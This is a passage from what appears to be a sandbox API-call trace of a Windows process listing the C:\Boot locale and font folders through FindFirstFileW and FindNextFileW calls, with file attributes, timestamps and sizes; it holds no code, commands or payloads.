lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0043.092] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a306d0 [0043.092] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b2dd8 [0043.092] FindNextFileW (in: hFindFile=0x7b2dd8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.092] FindNextFileW (in: hFindFile=0x7b2dd8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0043.092] FindClose (in: hFindFile=0x7b2dd8 | out: hFindFile=0x7b2dd8) returned 1 [0043.092] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a306d0 | out: hHeap=0x6c0000) returned 1 [0043.092] FindNextFileW (in: hFindFile=0x7b1d90, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0043.092] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a306d0 [0043.093] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b2dd8 [0043.093] FindNextFileW (in: hFindFile=0x7b2dd8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.093] FindNextFileW (in: hFindFile=0x7b2dd8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0043.093] FindClose (in: hFindFile=0x7b2dd8 | out: hFindFile=0x7b2dd8) returned 1 [0043.093] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a306d0 | out: hHeap=0x6c0000) returned 1 [0043.093] FindNextFileW (in: hFindFile=0x7b1d90, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0043.093] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a306d0 [0043.093] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b2dd8 [0043.093] FindNextFileW (in: hFindFile=0x7b2dd8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.093] FindNextFileW (in: hFindFile=0x7b2dd8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0043.093] FindClose (in: hFindFile=0x7b2dd8 | out: hFindFile=0x7b2dd8) returned 1 [0043.094] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a306d0 | out: hHeap=0x6c0000) returned 1 [0043.094] FindNextFileW (in: hFindFile=0x7b1d90, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0043.094] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a306d0 [0043.094] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b2dd8 [0043.094] FindNextFileW (in: hFindFile=0x7b2dd8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.094] FindNextFileW (in: hFindFile=0x7b2dd8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0043.094] FindClose (in: hFindFile=0x7b2dd8 | out: hFindFile=0x7b2dd8) returned 1 [0043.094] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a306d0 | out: hHeap=0x6c0000) returned 1 [0043.094] FindNextFileW (in: hFindFile=0x7b1d90, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0043.094] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a306d0 [0043.094] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b2dd8 [0043.094] FindNextFileW (in: hFindFile=0x7b2dd8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.094] FindNextFileW (in: hFindFile=0x7b2dd8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0043.094] FindClose (in: hFindFile=0x7b2dd8 | out: hFindFile=0x7b2dd8) returned 1 [0043.094] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a306d0 | out: hHeap=0x6c0000) returned 1 [0043.095] FindNextFileW (in: hFindFile=0x7b1d90, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0043.095] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a306d0 [0043.095] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b2dd8 [0043.095] FindNextFileW (in: hFindFile=0x7b2dd8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.095] FindNextFileW (in: hFindFile=0x7b2dd8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0043.095] FindClose (in: hFindFile=0x7b2dd8 | out: hFindFile=0x7b2dd8) returned 1 [0043.095] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a306d0 | out: hHeap=0x6c0000) returned 1 [0043.095] FindNextFileW (in: hFindFile=0x7b1d90, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0043.095] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a306d0 [0043.095] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b2dd8 [0043.095] FindNextFileW (in: hFindFile=0x7b2dd8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.095] FindNextFileW (in: hFindFile=0x7b2dd8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0043.095] FindClose (in: hFindFile=0x7b2dd8 | out: hFindFile=0x7b2dd8) returned 1 [0043.095] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a306d0 | out: hHeap=0x6c0000) returned 1 [0043.095] FindNextFileW (in: hFindFile=0x7b1d90, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0043.096] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a306d0 [0043.096] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b2dd8 [0043.096] FindNextFileW (in: hFindFile=0x7b2dd8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.096] FindNextFileW (in: hFindFile=0x7b2dd8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0043.096] FindClose (in: hFindFile=0x7b2dd8 | out: hFindFile=0x7b2dd8) returned 1 [0043.096] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a306d0 | out: hHeap=0x6c0000) returned 1 [0043.096] FindNextFileW (in: hFindFile=0x7b1d90, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0043.096] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a306d0 [0043.096] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b2dd8 [0043.096] FindNextFileW (in: hFindFile=0x7b2dd8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.096] FindNextFileW (in: hFindFile=0x7b2dd8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0043.096] FindClose (in: hFindFile=0x7b2dd8 | out: hFindFile=0x7b2dd8) returned 1 [0043.096] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a306d0 | out: hHeap=0x6c0000) returned 1 [0043.096] FindNextFileW (in: hFindFile=0x7b1d90, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0043.097] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a306d0 [0043.097] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b2dd8 [0043.097] FindNextFileW (in: hFindFile=0x7b2dd8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.097] FindNextFileW (in: hFindFile=0x7b2dd8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0043.097] FindClose (in: hFindFile=0x7b2dd8 | out: hFindFile=0x7b2dd8) returned 1 [0043.097] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a306d0 | out: hHeap=0x6c0000) returned 1 [0043.097] FindNextFileW (in: hFindFile=0x7b1d90, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0043.097] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a306d0 [0043.097] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, 